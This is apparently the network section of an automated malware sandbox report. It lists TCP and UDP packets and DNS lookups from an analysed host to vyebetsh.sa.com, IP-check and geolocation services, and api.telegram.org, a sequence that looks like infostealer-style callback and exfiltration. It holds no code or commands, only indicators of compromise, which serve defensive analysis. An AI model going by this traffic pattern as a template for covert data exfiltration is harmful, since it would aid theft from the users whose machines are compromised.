Nov 4, 2024 07:13:38.564481974 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564485073 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.564507008 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.564529896 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.564560890 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564573050 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564583063 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564601898 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.564623117 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.564915895 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564927101 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564939976 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564950943 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.564960957 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.564987898 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.565355062 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.565366983 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.565376997 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.565388918 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.565398932 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.565409899 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.565412045 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.565429926 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.565454006 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.609694004 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.609714985 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.609724998 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.609771013 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.609807014 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.609854937 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.609865904 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.609878063 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.609889030 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.609904051 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.609919071 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683062077 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683079958 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683134079 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683137894 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683150053 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683161020 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683171034 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683171034 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683198929 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683221102 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683532953 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683566093 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683576107 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683577061 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683598995 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683608055 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683856010 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683867931 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683876991 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683901072 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683902979 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683913946 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.683926105 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.683948040 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.684412003 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.684422016 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.684431076 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.684457064 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.684479952 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.728226900 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728238106 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728247881 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728291035 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.728317976 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.728341103 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728404999 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728415966 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728446960 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.728672981 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728683949 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728693962 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.728718996 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.728729010 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.801723957 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.801737070 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.801753998 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.801772118 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.801791906 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.801796913 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.801808119 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:38.801832914 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:38.801868916 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:39.175734043 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:39.182224989 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:39.182293892 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:39.182477951 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:39.188903093 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:40.020806074 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:40.023854971 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:40.031563997 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:40.269002914 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:40.417427063 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:40.500725031 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:40.500829935 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:40.596412897 CET	49811	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:40.596461058 CET	443	49811	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:40.596519947 CET	49811	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:40.609847069 CET	49811	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:40.609877110 CET	443	49811	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.228936911 CET	443	49811	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.229016066 CET	49811	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:41.234251022 CET	49811	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:41.234261990 CET	443	49811	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.234599113 CET	443	49811	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.270083904 CET	49811	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:41.311336040 CET	443	49811	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.522629976 CET	443	49811	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.522712946 CET	443	49811	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.522943974 CET	49811	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:41.527718067 CET	49811	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:41.532917023 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:41.537842035 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:41.780272961 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:41.782399893 CET	49819	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:41.782440901 CET	443	49819	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.782505989 CET	49819	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:41.782759905 CET	49819	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:41.782773972 CET	443	49819	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:41.823378086 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:42.386775017 CET	443	49819	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:42.388278961 CET	49819	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:42.388294935 CET	443	49819	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:42.525620937 CET	443	49819	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:42.525703907 CET	443	49819	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:42.525748968 CET	49819	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:42.526109934 CET	49819	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:42.529591084 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:42.530684948 CET	49825	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:42.534692049 CET	80	49804	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:42.534745932 CET	49804	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:42.535444021 CET	80	49825	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:42.535492897 CET	49825	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:42.535563946 CET	49825	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:42.536268950 CET	80	49787	141.98.10.40	192.168.2.5
Nov 4, 2024 07:13:42.536313057 CET	49787	80	192.168.2.5	141.98.10.40
Nov 4, 2024 07:13:42.540365934 CET	80	49825	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:43.368520975 CET	80	49825	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:43.369544029 CET	49829	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:43.369569063 CET	443	49829	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:43.369630098 CET	49829	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:43.369842052 CET	49829	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:43.369857073 CET	443	49829	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:43.417133093 CET	49825	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:43.986378908 CET	443	49829	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:43.987953901 CET	49829	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:43.987993002 CET	443	49829	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:44.137142897 CET	443	49829	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:44.137242079 CET	443	49829	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:44.137330055 CET	49829	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:44.137768984 CET	49829	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:44.141850948 CET	49834	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:44.146673918 CET	80	49834	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:44.146784067 CET	49834	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:44.146894932 CET	49834	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:44.151639938 CET	80	49834	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:44.988532066 CET	80	49834	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:44.990812063 CET	49840	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:44.990854979 CET	443	49840	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:44.990921974 CET	49840	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:44.991153002 CET	49840	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:44.991163015 CET	443	49840	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:45.042145967 CET	49834	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:45.814275980 CET	443	49840	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:45.815844059 CET	49840	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:45.815865040 CET	443	49840	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:45.954035044 CET	443	49840	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:45.954139948 CET	443	49840	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:45.954226971 CET	49840	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:45.954560995 CET	49840	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:45.957654953 CET	49834	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:45.958647966 CET	49846	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:45.962914944 CET	80	49834	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:45.962982893 CET	49834	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:45.963507891 CET	80	49846	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:45.963571072 CET	49846	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:45.963639021 CET	49846	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:45.968791008 CET	80	49846	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:46.798877001 CET	80	49846	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:46.800069094 CET	49852	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:46.800110102 CET	443	49852	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:46.800168991 CET	49852	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:46.800502062 CET	49852	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:46.800517082 CET	443	49852	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:46.838985920 CET	49846	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:47.413868904 CET	443	49852	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:47.415355921 CET	49852	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:47.415384054 CET	443	49852	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:47.555288076 CET	443	49852	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:47.555392981 CET	443	49852	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:47.555464983 CET	49852	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:47.555799961 CET	49852	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:47.559201002 CET	49846	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:47.560134888 CET	49858	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:47.564512014 CET	80	49846	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:47.564574003 CET	49846	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:47.564950943 CET	80	49858	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:47.565109015 CET	49858	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:47.565109015 CET	49858	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:47.570159912 CET	80	49858	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:48.409867048 CET	80	49858	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:48.412636042 CET	49864	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:48.412677050 CET	443	49864	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:48.413290977 CET	49864	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:48.413557053 CET	49864	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:48.413572073 CET	443	49864	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:48.463992119 CET	49858	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:49.010987043 CET	443	49864	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:49.021454096 CET	49864	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:49.021483898 CET	443	49864	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:49.154922962 CET	443	49864	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:49.155015945 CET	443	49864	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:49.155059099 CET	49864	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:49.155561924 CET	49864	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:49.158934116 CET	49858	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:49.159987926 CET	49870	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:49.164163113 CET	80	49858	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:49.164211988 CET	49858	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:49.164747000 CET	80	49870	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:49.164797068 CET	49870	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:49.164886951 CET	49870	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:49.169598103 CET	80	49870	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:50.006325960 CET	80	49870	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:50.007395983 CET	49876	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:50.007433891 CET	443	49876	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:50.007966042 CET	49876	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:50.008183002 CET	49876	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:50.008198977 CET	443	49876	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:50.057718992 CET	49870	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:50.623040915 CET	443	49876	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:50.624609947 CET	49876	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:50.624622107 CET	443	49876	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:50.768378973 CET	443	49876	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:50.768470049 CET	443	49876	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:50.768573999 CET	49876	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:50.768923044 CET	49876	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:50.772080898 CET	49870	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:50.773164988 CET	49882	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:50.777376890 CET	80	49870	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:50.777441025 CET	49870	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:50.777964115 CET	80	49882	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:50.778034925 CET	49882	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:50.779438019 CET	49882	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:50.784198046 CET	80	49882	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:51.623099089 CET	80	49882	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:51.630346060 CET	49887	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:51.630414963 CET	443	49887	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:51.630496979 CET	49887	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:51.630717993 CET	49887	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:51.630733013 CET	443	49887	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:51.667098999 CET	49882	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:52.235079050 CET	443	49887	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:52.239279032 CET	49887	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:52.239382982 CET	443	49887	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:52.375549078 CET	443	49887	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:52.375657082 CET	443	49887	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:52.375718117 CET	49887	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:52.376208067 CET	49887	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:52.378973007 CET	49882	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:52.379472017 CET	49889	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:52.384125948 CET	80	49882	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:52.384197950 CET	49882	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:52.384252071 CET	80	49889	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:52.384432077 CET	49889	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:52.384509087 CET	49889	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:52.389270067 CET	80	49889	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:53.210242987 CET	80	49889	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:53.211431980 CET	49895	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:53.211473942 CET	443	49895	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:53.211541891 CET	49895	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:53.211735010 CET	49895	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:53.211745024 CET	443	49895	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:53.260889053 CET	49889	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:53.810508966 CET	443	49895	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:53.812170982 CET	49895	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:53.812216997 CET	443	49895	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:53.949580908 CET	443	49895	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:53.949709892 CET	443	49895	188.114.96.3	192.168.2.5
Nov 4, 2024 07:13:53.949757099 CET	49895	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:53.950110912 CET	49895	443	192.168.2.5	188.114.96.3
Nov 4, 2024 07:13:53.971695900 CET	49889	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:53.976820946 CET	80	49889	193.122.6.168	192.168.2.5
Nov 4, 2024 07:13:53.976878881 CET	49889	80	192.168.2.5	193.122.6.168
Nov 4, 2024 07:13:53.978713989 CET	49901	443	192.168.2.5	149.154.167.220
Nov 4, 2024 07:13:53.978760004 CET	443	49901	149.154.167.220	192.168.2.5
Nov 4, 2024 07:13:53.978820086 CET	49901	443	192.168.2.5	149.154.167.220
Nov 4, 2024 07:13:53.979142904 CET	49901	443	192.168.2.5	149.154.167.220
Nov 4, 2024 07:13:53.979161978 CET	443	49901	149.154.167.220	192.168.2.5
Nov 4, 2024 07:13:54.815295935 CET	443	49901	149.154.167.220	192.168.2.5
Nov 4, 2024 07:13:54.815397978 CET	49901	443	192.168.2.5	149.154.167.220
Nov 4, 2024 07:13:54.817580938 CET	49901	443	192.168.2.5	149.154.167.220
Nov 4, 2024 07:13:54.817610025 CET	443	49901	149.154.167.220	192.168.2.5
Nov 4, 2024 07:13:54.817847013 CET	443	49901	149.154.167.220	192.168.2.5
Nov 4, 2024 07:13:54.819397926 CET	49901	443	192.168.2.5	149.154.167.220
Nov 4, 2024 07:13:54.863337040 CET	443	49901	149.154.167.220	192.168.2.5
Nov 4, 2024 07:13:55.080024004 CET	443	49901	149.154.167.220	192.168.2.5
Nov 4, 2024 07:13:55.080090046 CET	443	49901	149.154.167.220	192.168.2.5
Nov 4, 2024 07:13:55.080162048 CET	49901	443	192.168.2.5	149.154.167.220
Nov 4, 2024 07:13:55.082576990 CET	49901	443	192.168.2.5	149.154.167.220
Nov 4, 2024 07:14:00.713711023 CET	49825	80	192.168.2.5	193.122.6.168

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 4, 2024 07:13:36.141813993 CET	54734	53	192.168.2.5	1.1.1.1
Nov 4, 2024 07:13:36.238181114 CET	53	54734	1.1.1.1	192.168.2.5
Nov 4, 2024 07:13:39.157991886 CET	54422	53	192.168.2.5	1.1.1.1
Nov 4, 2024 07:13:39.167100906 CET	53	54422	1.1.1.1	192.168.2.5
Nov 4, 2024 07:13:40.586250067 CET	64607	53	192.168.2.5	1.1.1.1
Nov 4, 2024 07:13:40.594244003 CET	53	64607	1.1.1.1	192.168.2.5
Nov 4, 2024 07:13:53.971621037 CET	49247	53	192.168.2.5	1.1.1.1
Nov 4, 2024 07:13:53.978249073 CET	53	49247	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 4, 2024 07:13:36.141813993 CET	192.168.2.5	1.1.1.1	0x38cf	Standard query (0)	vyebetsh.sa.com	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:39.157991886 CET	192.168.2.5	1.1.1.1	0xb6cd	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:40.586250067 CET	192.168.2.5	1.1.1.1	0x3b19	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:53.971621037 CET	192.168.2.5	1.1.1.1	0x97e4	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 4, 2024 07:13:36.238181114 CET	1.1.1.1	192.168.2.5	0x38cf	No error (0)	vyebetsh.sa.com		141.98.10.40	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:39.167100906 CET	1.1.1.1	192.168.2.5	0xb6cd	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 4, 2024 07:13:39.167100906 CET	1.1.1.1	192.168.2.5	0xb6cd	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:39.167100906 CET	1.1.1.1	192.168.2.5	0xb6cd	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:39.167100906 CET	1.1.1.1	192.168.2.5	0xb6cd	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:39.167100906 CET	1.1.1.1	192.168.2.5	0xb6cd	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:39.167100906 CET	1.1.1.1	192.168.2.5	0xb6cd	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Nov 4, 2024 07:13:40.594244003 CET	1.1.1.1	192.168.2.5	0x3b19	No error (0)	reallyfreegeoip.org		188.114.96.3	A (IP address)	IN (0x0001)	false
